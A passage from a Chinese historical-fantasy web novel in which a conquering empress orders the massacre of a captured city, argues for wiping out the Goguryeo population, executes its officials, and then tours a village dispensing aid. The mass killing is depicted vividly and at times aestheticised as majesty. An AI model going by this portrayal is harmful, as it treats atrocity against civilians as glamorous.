安州城东山的烈焰已然熄灭,只余下漫山遍野的焦黑残骸和袅袅青烟,如同巨兽烧焦的骨骸,狰狞地指向灰白色的天空。 原本坚固的城墙,在烈火与原油的肆虐下,多处坍塌,露出犬牙交错的缺口。 空气中弥漫着刺鼻的焦糊味、浓烈的血腥气,以及一种皮肉烧灼后特有的、令人作呕的恶臭。 慕容嫣踏着仍在冒烟的瓦砾和尚未凝固的血泊,?缓步走入这座已然化为废墟的死城。 她并未骑马,?选择步行,?林臻紧随其侧,?一手持槊,?另一手始终虚扶在她的腰后,?警惕地扫视着四周可能存在的危险。 精锐的黑甲禁军手持刀盾,组成紧密的护卫圈,将帝后二人护在中心,所过之处,只有零星垂死的呻吟和远处传来的持续不断的杀戮声。 她依旧穿着那身黑金苏锦棉质百鸟朝凤睡裙——神凤降世裙。 手中紧握着那杆鎏金凤头点钢枪,?枪尖斜指地面,?寒芒在黎明的微光中闪烁。 ?神凤降世裙在这片刚刚经历火劫与屠杀的焦土之上,呈现出一种近乎妖异的、震撼人心的美感。 ?极致玄黑的苏锦底料,吸吮着废墟中残存的光线与死亡的气息,色泽愈发深邃,仿佛能将所有的绝望与哀嚎都吞噬进去。 织入的金色棉绒与真金线,不再流淌温暖的波光,而是反射着一种冰冷、粘稠的暗金色泽,如同干涸的血迹。? 睡裙之上,那只擎天巨凤的图案,在满目疮痍的背景下,充满了毁灭与征服的戾气,凤羽的每一道线条都仿佛由烈焰与鲜血勾勒而成。 ?宽大的喇叭袖收束在披风袖中,她左手拇指上的墨玉扳指,在灰暗的光线下泛着幽冷的光泽。 而那长达五丈的苏锦拖尾,?此刻,?正以一种极其残酷的、凌乱的方式,?拖行在焦黑的地面、凝固的血泊、以及散落的残肢断臂之间?! 华贵到极致的墨金色锦缎,无情地碾过这片地狱般的景象,沾染上各种污秽,?这种极致的凌乱与污损,?非但没有折损其威严,?反而更添一种践踏一切、主宰生死的冷酷权威。 ?棉质的柔软与睡裙的称谓,在此刻已被彻底异化为一种超越凡俗的、令人胆寒的权力符号。 “陛下,城内残余抵抗已基本肃清,负隅顽抗者皆已伏诛。部分俘虏及躲藏百姓正被驱赶至城中心广场,听候陛下发落。” 一名将领上前,单膝跪地禀报,他的铠甲上满是血污,声音带着沙哑的疲惫。 慕容嫣微微颔首,?脸上没有任何表情,?目光平静地扫过眼前一片狼藉的街道。 烧焦的梁柱斜指着天空,倒塌的房屋下压着无法辨认的尸体,几处余火仍在噼啪作响。 她抬起手,?用戴着墨玉扳指的指尖,?轻轻拂去飘落到披风上的一点灰烬。 “夫君”她没有看那将领,?而是侧过头,?声音带着一丝清晨的慵懒和微哑,?对林臻说道,“这里味道真难闻比我宫里最差的熏香还要难闻百倍”她的语气,不像是在评价一片屠场,倒像是在抱怨一件小事。 林臻心中一紧,?连忙靠近一步,?低声道?:“嫣儿若不适应我们便先回营帐?此处有为夫处理即可。” “不要,”慕容嫣轻轻摇头,?反而伸手,?抓住了林臻持槊手臂的衣袖,?指尖微微用力,“我要亲自看看看看这座城为它的顽抗付出的代价。” 她说着,?目光投向城市中心的方向,?那里,?隐约传来人群的哭喊与骚动。 “再说,有夫君在身边,再难闻的味道我也不怕。”她的声音渐渐低了下去,?带着一丝依赖,?将额头轻轻靠在了林臻的肩甲上,?但只是一触即分。 林臻感受到她瞬间的脆弱,?心中涌起无限爱怜与保护欲。他空着的那只手,?轻轻覆在她抓着自己衣袖的手上,?柔声道?:“好,为夫陪着你。只是接下来的场面,或许,” 慕容嫣直起身子,?脸上恢复了一片冰封的平静,?打断他?:“无妨。朕什么场面没见过。” 她握紧了手中的凤头枪,?迈步向前,“去广场。” 一行人穿过如同地狱般的街道,来到城中心一片相对开阔的广场。 这里曾经是集市,如今却挤满了面如死灰、瑟瑟发抖的高句丽人,有丢盔弃甲的士兵,更多的是衣衫褴褛的平民,男女老幼皆有。 他们被如狼似虎的大乾士兵用长矛和刀剑围在中间,眼中充满了极致的恐惧与绝望。 看到慕容嫣那抹独一无二的墨金色身影出现,人群中顿时爆发出一片压抑的哭泣和哀求声。 慕容嫣在护卫的簇拥下,?走到广场一侧一处略高的台阶上站定。 她的目光,?冷漠地扫过下方黑压压的人群,?如同看着一群待宰的羔羊。 那凌乱拖曳在沾满血污的台阶上的墨金色拖尾,?在灰暗的晨光中,?刺眼得令人心寒。 一名军法官上前,单膝跪地:“陛下,广场聚集俘虏及平民共计约八千余人,如何处置,请陛下示下!” 所有人的目光都聚焦在慕容嫣身上,等待着最终的判决。 林臻站在她身侧一步之后,?面色沉凝,?握紧了长槊。 慕容嫣沉默了片刻。广场上的哭声和哀求声在她耳中,仿佛只是蚊蝇的嗡鸣。她缓缓抬起手中的凤头枪,?枪尖,?指向下方的人群。 “安州顽抗,罪无可赦。”她的声音,?清冷,?平静,?却带着千钧重压,?清晰地传遍整个广场,“朕给过机会。是你们自己不要。” 人群中的哭声更大了,有人瘫软在地,有人拼命磕头。 慕容嫣的嘴角,?勾起一抹极淡的,?冰冷的弧度?:“既然选择了死路朕便成全你们。” 她顿了顿,?目光扫过全场,?最终,?吐出了那两个血腥的字眼?: “屠城。” “陛下有令!屠城——!”军法官高声传令。 命令一下,包围广场的士兵们眼中瞬间爆发出嗜血的光芒,刀枪并举,如同潮水般冲向人群! 惨叫声、哭喊声、兵刃入肉声、垂死哀嚎声瞬间撕裂了黎明的天空! 鲜血如同喷泉般溅射,染红了地面,染红了士兵的铠甲,也不可避免地,溅到了慕容嫣站立的高台附近,?甚至有几滴,?落在了她迤逦在地的墨金色拖尾边缘?! 慕容嫣面无表情地看着眼前的屠杀。她甚至没有眨一下眼睛。 林臻向前半步,?几乎将她完全挡在身后,?用自己的身体为她隔绝那飞溅的血污和极度惨烈的景象。 就在这时,人群中一个浑身是血、状若疯癫的高句丽老兵,突然挣脱了束缚,嘶吼着冲向高台:“慕容嫣!妖女!你不得好死!你穿这身鬼睡裙,注定要下地狱——!” 林臻眼神一厉,?长槊瞬间刺出?! 但慕容嫣的动作更快?! 她甚至没有大幅度的动作,?只是手腕微微一抖,?手中的凤头枪如同毒蛇出洞,?精准无比地点在了那老兵的眉心?! 一点红芒闪现,老兵的嘶吼戛然而止,尸体轰然倒地。 慕容嫣缓缓收枪,?枪尖不染一滴血。 她侧过头,?看向身旁紧绷着脸的林臻,?语气竟然带着一丝委屈和撒娇?: “夫君。你看他们,临死还要骂我的裙子,这裙子招他们惹他们了?”她说着,?还轻轻跺了跺脚,?仿佛真的在生气,?那凌乱的拖尾也随之晃动。 林臻看着她这瞬间流露的小女儿情态,?又是心疼又是无奈。 他伸手,?轻轻为她理了理被风吹乱的鬓发,?低声道?:“将死之人,狂犬吠日,嫣儿何必在意。这神凤降世裙,穿在嫣儿身上,是它的荣耀。” 慕容嫣似乎被安慰到了,?嘴角微微上扬。 她不再看脚下的屠杀,?转身,?准备离开这片血腥之地。 就在她转身的刹那—— 动作带着一丝不耐烦与对喧嚣的厌弃! 那迤逦在血污台阶上的、凌乱不堪的五丈墨金色拖尾因这迅猛的回转被猛地带起!华贵的锦缎拂过凝固的血泊和尸体,?唰啦一声,?在空中划出一道惊心动魄的弧线?! 随着拖尾的骤然飘起——赫然露出了里面那金线密织、在黎明惨淡天光下却仿佛燃烧着幽冥鬼火的“满地织金”内衬!?? 百凤朝阳的纹路在瞬间闪现出诡异而刺眼的金红色光芒,那光芒冰冷、残酷,充满了死亡与终结的气息,尊贵、辉煌,却更像是为这场屠杀奏响的最终乐章! 这惊鸿一瞥,是对安州城最后命运的血色盖章! 裙摆落下,将那片诡异的金光与身后的惨嚎一同掩盖。 慕容嫣迈步走下台阶。 林臻紧紧跟随。 身后的屠杀仍在继续,整座安州城都在血雨腥风中走向彻底的死寂。 第976章 到底怎么办,是战是和 圣徽二年,三月初六。 平壤王宫,景福殿。 仅仅数日之前,这里还因误传的“安州大捷”而充满虚妄的狂欢,此刻却笼罩在一片死寂般的恐惧与绝望之中。 真正的战报,如同裹挟着冰雹的暴风雪,彻底击碎了他们短暂的美梦。 安州城不是守住了,而是彻底化为焦土! 守将崔仁师临阵脱逃,万余守军与数万百姓尽数屠戮! 消息通过侥幸逃出的零星溃兵和密探的确认,如同瘟疫般在王都蔓延,最终,被战战兢兢的臣子带到了国王与摄政王面前。 殿内,炭火盆依旧烧得很旺,却驱不散那彻骨的寒意。 高句丽王高藏,脸色惨白如纸,蜷缩在王座上,身体不受控制地剧烈颤抖,连牙齿都在打颤,仿佛随时会晕厥过去。 摄政王高云,再也维持不住往日的阴鸷沉稳,他瘫坐在王座旁的椅子上,双目失神,嘴唇哆嗦着,反复喃喃道:“不可能,这不可能,安州怎么会破?” 殿下,文武百官鸦雀无声,人人面如死灰,一些年老体弱者甚至需要倚靠着同僚才能站稳。 前几日还响彻大殿的阿谀奉承、豪言壮语,此刻全都化为了无声的恐惧。 空气中弥漫着一种近乎窒息的压抑。 “陛下,摄政王。”兵曹判书声音颤抖,几乎带着哭腔,“消息千真万确,安州已被慕容嫣用火攻攻破,崔仁师将军不知所踪城内。” 他说不下去了,那份战报上的血腥描述,让他光是回想就几欲呕吐。 “屠城又是屠城。”高云猛地抬起头,眼中布满了血丝,声音嘶哑尖利,“海州,安州下一个就是平壤!就是你我!!” 他的恐惧,瞬间点燃了殿内所有人的恐慌。 “完了,全完了。”一名文官绝望地瘫软在地,失声痛哭,“慕容嫣她不是人她是魔鬼!是穿着那身诡异睡裙的索命阎罗!” “那火是怎么起来的?好端端的东山怎么会烧起来?还偏偏是东南风?!”另一名武将惊恐地吼道,仿佛那场诡异的大火已经烧到了平壤城下。 “是慕容嫣!一定是她用了妖法!”有人歇斯底里地喊道,“她穿着那身黑金色的妖服,在阵前念念有词,就召来了地狱之火!我们我们凡人之力,如何能与妖法抗衡?!” 恐慌如同决堤的洪水,瞬间淹没了整个朝堂。 主战派与主和派再次爆发了激烈的争吵,但这一次,争吵的内容不再是战与和,而是如何能死得稍微体面一点,或者,是否存在一丝渺茫的、屈辱的生机。 “投降!必须立刻投降!”主和派的文正淳老泪纵横,扑倒在地,叩首不止,“陛下!摄政王!不能再打了!海州、安州就是前车之鉴!慕容嫣她根本不在乎什么仁义道德,她就是要亡我高句丽宗庙啊!现在投降,献上降表,称臣纳贡,或许或许还能保全王室血脉,保全平壤百姓性命啊!” 他将“保全性命”四个字咬得极重,充满了绝望的哀求。 “投降?文侍中你老糊涂了吗?!”主战派的朴正雄虽然也是脸色惨白,但依旧强撑着吼道,“慕容嫣连求和使臣都杀!她就是要赶尽杀绝!投降?不过是自取其辱,死得更快!唯今之计,只有集结全国之兵,死守平壤!与她血战到底!就算城破,也要崩碎她一口牙!让她知道我高句丽儿郎的血性!” “血性?血性能挡得住那从天而降的巨石火罐吗?能挡得住那漫山遍野的妖火吗?!”文正淳声嘶力竭地反驳,“朴将军!你看看海州!你看看安州!那是什么?那是地狱!我们还要把平壤也变成那样吗?!” “那你说怎么办?!拱手让出祖宗基业?让那妖女踩着我们的尸骨,穿着她那身不伦不类的睡裙在景福殿上跳舞吗?!”朴正雄目眦欲裂。 “够了!”高云猛地一拍椅子扶手,发出一声巨响,打断了争吵。 他喘着粗气,目光扫过台下这群惊慌失措的臣子,最终落在王座上瑟瑟发抖的侄儿身上。 一种巨大的无力感和末日降临般的恐惧,攫住了他的心脏。他何尝不知朴正雄所言是绝路?但文正淳所说的投降慕容嫣会接受吗? 想起被斩首的使臣金文翰,他心底一片冰凉。 “慕容嫣她下一步会怎么做?”高藏带着哭腔,颤声问道。 这个问题,让殿内再次陷入死寂。所有人都在想,那个身着华美诡异睡裙、手段却比修罗还要狠辣的女帝,在连续屠戮两城之后,兵锋直指平壤,她会给他们留下什么样的“选择”? “她会围城,”高云声音干涩,“然后像对付安州一样用尽一切办法破城屠城。” 他每一个字,都像是从牙缝里挤出来的,充满了绝望。 “牡丹峰,我们的牡丹峰。”一名负责城防的将领突然惊恐地叫道,“牡丹峰居高临下,若是被慕容嫣占据……” 他不敢再说下去,但所有人都明白那意味着什么——平壤,将重蹈安州的覆辙! 甚至更惨! 因为这里是王都! 恐慌,如同实质的冰水,淹没了每个人的头顶。 景福殿内,只剩下粗重的喘息声和压抑的哭泣声。 几日前的狂欢,此刻看来,如同一个巨大而讽刺的笑话。 那身远在百里之外、他们从未亲眼见过的墨金色睡裙,此刻却如同最恐怖的梦魇,清晰地压在每一个人的心头,那长长的拖尾,仿佛已经跨越山河,缠绕上了他们的脖颈。 与此同时,大乾军中军帐内,气氛却截然不同。 慕容嫣慵懒地靠在铺着白虎皮的软榻上,?林臻坐在榻边,?正将一瓣剥好的橘子,?小心地喂到她嘴边。 慕容嫣身上,?依旧穿着那身神凤降世裙。 安州城的血腥似乎并未在她身上留下太多痕迹,或者说,已被她轻易地抛诸脑后。 “唔,好甜。”慕容嫣张嘴接过橘子,?满足地眯起眼,?像只被顺毛的猫儿。 她伸出脚,?轻轻踢了踢林臻的小腿,“夫君你也吃嘛,别光喂我。” 林臻笑着也给自己剥了一瓣,?放入口中,?点头道?:“确实甜。这是刚从江南快马加鞭送来的,知道嫣儿喜欢。” “还是夫君最疼我。”慕容嫣甜甜一笑,?顺势歪倒,?将头枕在林臻的腿上,?仰面看着他,“那些烦人的高句丽人肯定吓坏了吧?听说他们的皇帝胆子小得很。” 她的语气,?带着一种天真的残忍,?仿佛在谈论天气。 林臻轻轻抚摸着她的长发,?眼中满是宠溺?:“吓坏是必然的。连破两城,尤其是火攻安州,足以震慑所有宵小。想必平壤城内,此刻已是乱作一团。” “乱才好,”慕容嫣撇撇嘴,?把玩着林臻衣袍上的带子,“省得我们再费力气,最好他们自己打开城门投降,我也好早点跟夫君回长安去看杏花。” 她说着,?打了个小小的哈欠,“这几天都没睡好” “那嫣儿现在歇息片刻?”林臻柔声问。 “不要,”慕容嫣摇摇头,?往他怀里又蹭了蹭,“夫君抱着我,我就睡一会儿,就一会儿,” 她的声音渐渐低了下去,?带着浓浓的睡意。 林臻调整了一下姿势,?让她枕得更舒服,?拉过一旁的锦被,?轻轻盖在她身上。 他低头,?看着怀中人恬静的睡颜,?完全无法将她与那个下令屠城的冷酷女帝联系起来。 只有那身即便在睡梦中也不离身的神凤降世裙,?墨金色的光华在帐内静静流淌,?提醒着他,?她身份的特殊与复杂。 那长达五丈的拖尾,?凌乱地铺在榻下,?仿佛是她无边权力的延伸。 林臻轻轻叹了口气,?将她搂得更紧了些。 无论她对外如何冷酷,在他怀中,她永远是他的嫣儿。 第977章 记住,顺我者昌,逆我者亡 圣徽二年,三月二十。 平壤城破已过五日,城中的屠杀与清洗渐近尾声,硝烟与血腥味虽未完全散去,但一种令人窒息的死寂已然笼罩了这座高句丽的王都。 大乾军队基本控制了全城,幸存的少量高句丽王族与重臣被囚禁于冷宫偏殿,听候发落。 慕容嫣并未入驻那座象征着最高权力的景福殿,?她依旧将中军大帐设于平壤城外一处地势较高、可俯瞰全城的山坡上。 帐内,炭火驱散了辽东春日的余寒,气氛却比帐外更加凝重。 巨大的辽东全域舆图铺展在帐中,上面清晰标注着已被占领的海州、安州、平壤等要地。 慕容嫣站立在舆图前,?身姿挺拔。 她依旧穿着那身黑金苏锦棉质百鸟朝凤睡裙——神凤降世裙,?在外罩着一件便于行动的剪裁利落的黑金色苏锦霞帔,?霞帔的肩部绣着暗金色的龙纹,?更添威仪。 她手中?并未持枪,?而是握着一支朱笔,?笔尖正点在舆图上平壤的位置。 连日来的征战与杀戮,让她绝美的容颜上带着一丝难以掩饰的疲惫,但那双凤眸,却依旧锐利如刀,审视着这片刚刚被征服的土地。 ?神凤降世裙在帐内明亮的光线下,华美依旧,却似乎也沾染了一丝洗不去的血腥戾气。 ?极致玄黑的苏锦底料吸吮着光线,色泽沉静如深渊,织入的金色棉绒与真金线流淌着内敛而冰冷的辉光。? 睡裙之上,那只擎天巨凤的图案,在静止时,少了几分沙场的张扬,多了几分掌控疆域、生杀予夺的深沉威仪。 ?宽大的喇叭袖收束在骑射服袖口内,她左手拇指上的墨玉扳指,在光下泛着幽深的光泽。 那长达五丈的苏锦拖尾,?在铺着厚地毯的帐内,?迤逦地铺展开来,?呈现出一种深思熟虑时的、无意识的凌乱。 并非刻意,?而是随着她轻微的踱步,?自然蜿蜒,?甚至有一部分,?卷到了固定舆图的铜镇尺旁。 这种凌乱,更显真实,仿佛是她脑海中激烈思绪的外化。? 棉质的柔软与睡裙的舒适,或许是她在这沉重政务中唯一的放松。 林臻站在她身侧,?同样凝视着舆图。 他已卸去戎装,?穿着一身玄色常服,?更显身姿挺拔,?眉宇间带着思索之色。 他是她的丈夫,更是她的股肱之臣,此刻正思虑着这片新占之地的未来。 沉默良久,慕容嫣用朱笔,?沿着鸭绿江划了一条线,?声音平静无波地开口?:“夫君,海州,安州尽入朕手,你说这些地方今后该如何处置?” 林臻早已思虑过这个问题,?他上前一步,?手指点向舆图上的几处要地,?沉稳答道?: “嫣儿,高句丽经此重创,国力已衰,其民畏我大乾兵威如虎。依为夫之见,此乃天赐良机,可将其彻底纳入我圣徽版图,设郡立县,派流官治理。迁我大乾百姓实边,与当地残存之民通婚杂居,行教化,渐消其戾气,假以时日,此地必可成为我朝稳固之东北屏障,而非边患之源。” 他的思路清晰,着眼于长远治理与同化,是较为稳妥的扩张之策。 然而,慕容嫣听了,?却微微蹙起了秀眉。 她放下朱笔,?转过身,?直面林臻,?脸上露出一丝不耐烦的神色?:“迁民?通婚?教化?夫君何必如此麻烦?” 她的语气,?带着一种近乎天真的残忍,“高句丽人屡犯天朝,屠我边民,其性顽劣如同野草春风吹又生,朕觉得还是杀光了干净,一了百了,把这些城池都烧成白地,然后从我们大乾迁来纯良的百姓,重新建造,这样这里才真正算是我们大乾的疆土,不会有任何后患。” 她说着,?仿佛在说一件很简单的事情,?甚至,?她还伸出手,?轻轻拽了拽林臻的衣袖,?仰头看着他,?凤眸中带着寻求认同的依赖?:“夫君你说是不是嘛?那样多省心呀也不用担心他们以后再造反了。” 林臻心中一震。 他深知慕容嫣对高句丽的恨意已深入骨髓,却没想到她竟倾向于如此酷烈彻底的“解决”方式。 这已非治国,几近灭种! 他握住她拽着自己衣袖的手,?掌心传来她指尖的微凉。他目光凝重地看着她,?声音放缓,?带着劝慰?: “嫣儿,你的心情为夫明白。高句丽罪孽深重,死不足惜。然治国平天下,终究需有章法。尽屠其民,恐伤天和,亦损陛下圣名于史册。且辽东地广人稀,若尽成白地,迁民实边耗费巨大,非数十年之功不可成。若留其民,加以驯化,既可速得劳力,充实边疆,亦可显我天朝仁德,怀柔远人,令四方畏威怀德,岂不更善?” 慕容嫣听了,?撅起了嘴,?像是个被反驳后不高兴的小女孩。 她抽回手,?背过身去,?语气带着一丝赌气?:“什么天和,什么圣名,我才不在乎呢,史书还不是由胜利者来写?他们杀我们的人的时候可没讲过仁德,海州城下那些百姓谁对他们怀柔了?” 她说着,?声音里带上了一丝委屈的哽咽,“夫君,你是不是觉得我太狠心了?” 林臻见她如此,?心中又是心疼又是无奈。他连忙从身后轻轻拥住她,?将下巴抵在她的发顶,?柔声道?: “傻嫣儿为夫怎会觉得你狠心?你受的苦,为夫感同身受。只是为君者,目光须放长远。杀,固然痛快,可之后呢?一片焦土,万里无人,守之何益?且杀戮过甚,必激起更烈的反抗,即便眼下镇压,仇恨的种子也已埋下,遗祸子孙。为夫是希望嫣儿能成为一个既让敌人胆寒,又能让万民归心的千古一帝。” 他的话语,充满了真挚的爱护与深远的期盼。 慕容嫣靠在他温暖的怀里,?安静了片刻。 她能感受到他话语中的深情与理性。她不是不懂这些道理,?只是仇恨的火焰灼烧着她的心。 良久,她才闷闷地说?:“可是我一想到铁山城,我就控制不住。” 她的肩膀微微颤抖。 林臻将她搂得更紧?:“我明白,都明白,那些债我们已经用血洗清了。接下来的路,让为夫陪你,用更聪明的方式走下去,好吗?让这片土地,真正变成滋养我大乾的沃土,而不是一片充满怨魂的废墟。这才是对敌人最彻底的征服。” 慕容嫣在他怀里轻轻点了点头。 她转过身,?重新面对舆图,?眼中虽然还有一丝挣扎,?但更多的是一种被说服后的清明。 她拿起朱笔,?在平壤的位置上,?重重画了一个圈,?然后,?笔尖移向北方更广阔的区域。 “那就先依夫君之言吧。”她的声音恢复了平静, “设安东都护府,驻军安州,迁徙流民与当地残民杂居,但……”她顿了顿,?眼中寒光一闪,“高句丽王族及所有五品以上官员及其亲族尽诛!一个不留!其余百姓胆敢有异动者格杀勿论!朕要让他们记住顺朕者生逆朕者亡!” 这已是她最大的让步,在林臻的理性规划中,加入了铁血的威慑。 林臻知道这已是她能接受的极限,?点头道?:“好!都依你。这些事,为夫会即刻安排人手去办。” 慕容嫣似乎完成了一件大事,?松了口气。 第978章 下乡 圣徽二年,四月初。 平壤城的血腥气息逐渐被春风稀释,但战争的创伤依旧清晰地烙印在这片土地上。 城墙的缺口处,大批被俘的高句丽士卒在大乾工兵的监督下,搬运着砖石木料,叮叮当当的修缮声取代了曾经的杀伐之音。 城内的街道也开始被清理,虽然依旧萧条,却已有了些许重建的生机。 这一日,天气晴好。慕容嫣并未留在行辕处理堆积如山的政务,?而是在林臻的陪同下,?轻车简从,?来到了平壤城西数十里外的一处名为“清溪里”的村庄。 此地在战火中受损相对较轻,但村民们的脸上依旧写满了惊恐与迷茫,对于这些征服者,他们怀着本能的恐惧。 慕容嫣今日的装扮,?刻意收敛了几分沙场的戾气,?更显雍容。 她依旧穿着那身黑金苏锦棉质百鸟朝凤睡裙——神凤降世裙。 ?那件华贵的黑金貂皮披肩,?依旧披在肩头,?彰显着她不凡的身份。 她手中,?并未持枪,?而是空着。 ?极致玄黑的苏锦底料在春日阳光下,呈现出一种内敛而深邃的光泽,织入的金色棉绒与真金线流淌着温和的辉光。? 睡裙之上,那只擎天巨凤的图案,在平静的氛围下,少了几分狰狞,多了几分俯瞰众生、施予雨露的仪态。? 宽大的喇叭袖收束在外裙袖中,她左手拇指上的墨玉扳指,在光下温润。 而那长达五丈的苏锦拖尾,?此刻?凌乱地拖曳在乡间土路扬起的尘土和偶尔的草屑之上。 这种限于环境的凌乱,?反而更添一种真实感,?仿佛这位身着华服的女帝,?真正踏入了民间。?棉质的柔软与睡裙的舒适,让她在行走间姿态更为自然。 林臻一身月白色常服,?并未佩戴兵器,?温文尔雅地伴在她左侧,?目光柔和,?时刻关注着她的脚下,?生怕她被不平的路面绊到。 他们的到来,早已惊动了村里胆战心惊的里正和少数敢偷偷张望的村民。 慕容嫣走到村口一棵枝叶新绿的大槐树下站定,?目光扫过眼前低矮破败的茅屋,?以及那些面黄肌瘦、眼神惶恐的村民。她轻轻抬手,?示意护卫们退后一些,?以免给村民造成更大的压力。 “诸位乡亲,不必惊慌。”慕容嫣开口,?声音清越,?却刻意放柔了语调,?通过内力,?清晰地传入了每个躲藏或跪伏的村民耳中,“朕乃大乾皇帝,慕容嫣。今日来此,非为征伐,而是看看你们过得可好?” 村民们闻言,更是吓得魂不附体,纷纷跪倒在地,磕头如捣蒜,口称“万岁”,却无一人敢抬头。 慕容嫣微微蹙眉,?侧头对林臻,?带着一丝无奈和撒娇的语气低声道?:“夫君,你看他们好像还是很怕我,我都这么温柔地说话了。” 林臻莞尔一笑,?也低声道?:“嫣儿威仪天成,他们一时难以适应也是常情。慢慢来。” 他上前一步,?对村民们和蔼地说道?:“诸位请起。陛下仁德,知你等受战火之苦,特来体察民情,并无恶意。” 在里正颤抖的带领下,村民们这才哆哆嗦嗦地站起身来,却依旧不敢直视。 慕容嫣目光落在村边一处明显是新翻整过的田地上,?几个老人和妇人正吃力地抬水灌溉。 她心中一动,?竟迈步走了过去。 林臻连忙紧随。 走到田埂边,慕容嫣看了看那简陋的木桶和深深的井,?转头对里正道?:“浇水很是费力吧?” 里正扑通一声又跪下了:“回陛下,是有些费力,青壮大多没了。” 他说着,声音哽咽。 慕容嫣沉默了片刻。 忽然,她在众人惊骇的目光中,?弯腰,?挽起了外裙的袖口,?露出了里面神凤降世裙那宽大的喇叭袖边缘的金线绣花,?然后,?伸手,?抓住了井绳?! “陛下!不可!”林臻和周围侍卫宫女齐声惊呼! 这井绳粗糙肮脏,怎能是万金之躯的女帝能碰的? “有何不可?”慕容嫣却浑不在意,?对林臻嗔怪地瞥了一眼,“夫君你别拦我,我就试试。” 她说着,?竟真的用力,?和林臻之前安排悄悄帮忙的侍卫一起,?将一桶水从井里提了上来! 动作虽有些生疏,却异常坚定。 那凌乱拖曳在田埂尘土中的墨金色拖尾,?随着她的动作,?又沾染了新的泥土。 水桶提上来了,慕容嫣额角微微见汗,?脸颊泛红。 她对那几个目瞪口呆的农妇笑道?:“你看,也不是很难嘛,来,朕帮你们浇一瓢。” 她竟真的拿起瓢,?舀了水,?小心地浇在秧苗根部?! 华贵的黑金貂皮披肩的绒毛在动作中微微颤动。 这一刻,所有村民都惊呆了! 这位传说中杀人不眨眼、身着诡异华服的女魔头,竟然在帮他们干农活?! 林臻站在她身后,?看着她的举动,?眼中充满了复杂的情感——有担忧,有骄傲,更有深深的爱怜。 他知道,她此举,并非全然作秀,亦有几分真心,是想尽快安抚这片新附之地的人心。 浇完一瓢水,慕容嫣直起身,?拍了拍手,?对里正和村民说道?:“看到了吗?朕和大乾不是来掠夺的,是来帮你们重建家园的,让你们能安心种地吃饱饭过上好日子。” 她的语气诚恳,目光清澈。尽管那身墨金色的睡裙在田间地头显得如此格格不入,但她的行动,却开始悄然化解着村民心头的坚冰。 慕容嫣又走到一间半塌的茅屋前,?看了看,?对随行的新任平壤府尹吩咐道?:“记下,清溪里需修缮房屋十五间,拨付木材钱粮从速办理。另调拨耕牛两头农具若干助春耕。” 府尹连忙躬身记录:“臣遵旨!” 慕容嫣这才转身,?面向村民,?声音提高了一些?:“朕向你们保证从今往后只要你们安分守己勤恳耕作便是我大乾子民!受大乾律法保护!绝无苛政!若有无故欺凌你等者无论官兵皆可向府尹告发朕必严惩不贷!” 这番话,如同春风,吹散了些许恐惧。 村民们面面相觑,眼中第一次露出了将信将疑、却又带着一丝希望的光芒。 “好了,朕该走了。”慕容嫣说道,?目光再次扫过这片小小的村庄。她转身,?准备离开。 就在她转身的刹那—— 动作带着完成一件“小事”后的轻松与决断。 那迤逦在田间尘土中的、凌乱不堪的墨金色拖尾与披肩下摆被带动,?唰啦一声,?拂过青绿的草叶和干燥的泥土?! 随着拖尾的骤然飘起——赫然露出了里面那金线密织、在明媚春光下璀璨如暖阳普照的“满地织金”内衬!?? 百凤朝阳的纹路在瞬间迸发出温暖而耀眼的金芒,那光芒不再充满杀伐之气,而是带着生机、希望与安抚的意味,尊贵、辉煌,且蕴含着一种“普天之下,莫非王土”的治理者的胸怀! 这惊鸿一瞥,仿佛是对这片土地新生的祝福。 裙摆落下,将那片温暖的金光掩盖。 慕容嫣在林臻的搀扶下,?重新登上车驾。 村民们跪送,但这一次,许多人的头颅,不再是因为纯粹的恐惧而低下。 回程的马车上,慕容嫣慵懒地靠在林臻肩头,?打了个哈欠?:“夫君好累哦,比打仗还累,那些泥土沾到我的裙子了。” 她嘟着嘴,?有些嫌弃地看着裙摆边缘的污渍。 林臻拿出丝帕,?小心地为她擦拭,?柔声道?:“辛苦了,我的陛下。不过嫣儿今日之举,胜过十万雄兵。假以时日,辽东可定。” 慕容嫣闭上眼睛,?享受着夫君的体贴,?轻声说?:“希望吧,只要他们乖乖的,我也懒得杀人,夫君,回去你要帮我揉揉胳膊,提水桶好酸。” “好,都依你。”林臻笑着应承,?将她搂紧。 车窗外,春光正好,田野间,似乎真的萌生出了一丝新的希望。 第979章 是作秀还是真情实感? 圣徽二年,四月中旬。 平壤城内外重建事宜渐次展开的消息,如同初春的溪流,悄无声息地渗入了高句丽残存的统治阶层耳中。 慕容嫣巡视乡村、拨发粮种、修缮房屋的举动,与她之前连屠两城的酷烈形象形成了极其强烈的反差,在这座依旧弥漫着失败与恐惧气息的王都深处,激起了复杂的涟漪。 景福殿内,气氛比往日更加压抑和诡异。 炭火盆依旧燃烧,却驱不散那股源自猜忌和绝望的寒意。 高句丽王高藏蜷缩在王座上,眼神空洞,仿佛对外界的一切都已麻木。 摄政王高云坐在下首,眉头紧锁,手指无意识地敲打着椅背,面前摊开着一份由密探拼死送回的情报摘要,上面简要记述了慕容嫣在清溪里等地的言行。 殿下,文武百官分列,人人脸上都带着一种难以置信和深深疑虑的表情。 前几日,他们还在为慕容嫣的屠刀而瑟瑟发抖,今日,却要面对她“施恩”的消息,这让他们感到无比的困惑和不安。 沉寂良久,高云终于抬起头,目光扫过众人,声音沙哑地开口:“诸位都听说了吧?慕容嫣在平壤西边的乡村又是发粮,又是修房,甚至还亲自下田?” 他的语气充满了讽刺与不信。 这话如同投入死水的石子,顿时激起了波澜。 “摄政王!此乃妖女惑众之诡计!绝不可信!”主战派的朴正雄第一个跳出来,他脸色因激动而涨红, “慕容嫣是何等人物?海州、安州数万军民,她杀起来眼都不眨!她会真心关怀我高句丽百姓?笑话!这定是她收买人心、诱我松懈的毒计!她定然是想让我等以为她已放下屠刀,放松警惕,然后伺机将我等一网打尽!” 他的话音未落,主和派的文正淳却颤巍巍地出列,他老脸上满是复杂的神色: “朴将军话虽如此可可据闻,她确实拨发了实实在在的粮种、农具,也征发俘兵修缮民房这些,做不得假啊若若她真有悔祸之心,或是欲行怀柔之策,我高句丽是否可借此机会?” “文侍中!你老糊涂了不成?!”朴正雄厉声打断,“她慕容嫣穿着那身不伦不类的黑金睡裙,前脚刚屠完城,后脚就去施恩?这分明是猫哭耗子!是羞辱!是让她手上沾满的血,看起来不那么刺眼!你若信了,便是自投罗网!她这是要兵不血刃地瓦解我们的抵抗意志!” 